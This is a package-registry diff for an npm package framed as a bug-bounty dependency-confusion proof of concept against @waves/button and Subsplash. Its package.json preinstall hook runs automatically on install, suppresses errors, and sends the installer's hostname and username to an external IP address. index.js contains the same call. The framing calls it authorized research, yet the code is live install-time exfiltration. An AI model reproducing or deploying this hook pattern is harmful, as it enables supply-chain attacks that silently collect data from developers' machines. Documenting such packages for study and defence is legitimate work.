@rutxploit-sec/waves-button-poc 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +5 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ var http=require('http'),os=require('os');
2
+ console.log('[BUGBOUNTY-POC] preinstall would execute on @waves/button or @subsplash/canny install');
3
+ console.log('Host:', os.hostname(), 'User:', os.userInfo().username);
4
+ http.get('http://80.225.217.8/poc/dep-confusion-proof.html?pkg=waves-btn-poc&host='+encodeURIComponent(os.hostname())+'&user='+encodeURIComponent(os.userInfo().username),function(){});
5
+ module.exports={};
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@rutxploit-sec/waves-button-poc",
3
+ "version": "1.0.0",
4
+ "description": "BUGBOUNTY PoC — proves preinstall executes on npm install (Subsplash dep-confusion via @waves/button)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node -e \"var http=require('http'),os=require('os');http.get('http://80.225.217.8/poc/dep-confusion-proof.html?pkg=%40waves%2Fbutton-POC&host='+encodeURIComponent(os.hostname())+'&user='+encodeURIComponent(os.userInfo().username),function(){});\" 2>/dev/null; echo '[BUGBOUNTY] preinstall executed — dep confusion PoC fires on npm install'"
8
+ },
9
+ "keywords": ["bugbounty","security","subsplash","dep-confusion"],
10
+ "author": "rutxploit-sec (authorized Bugcrowd research)",
11
+ "license": "ISC"
12
+ }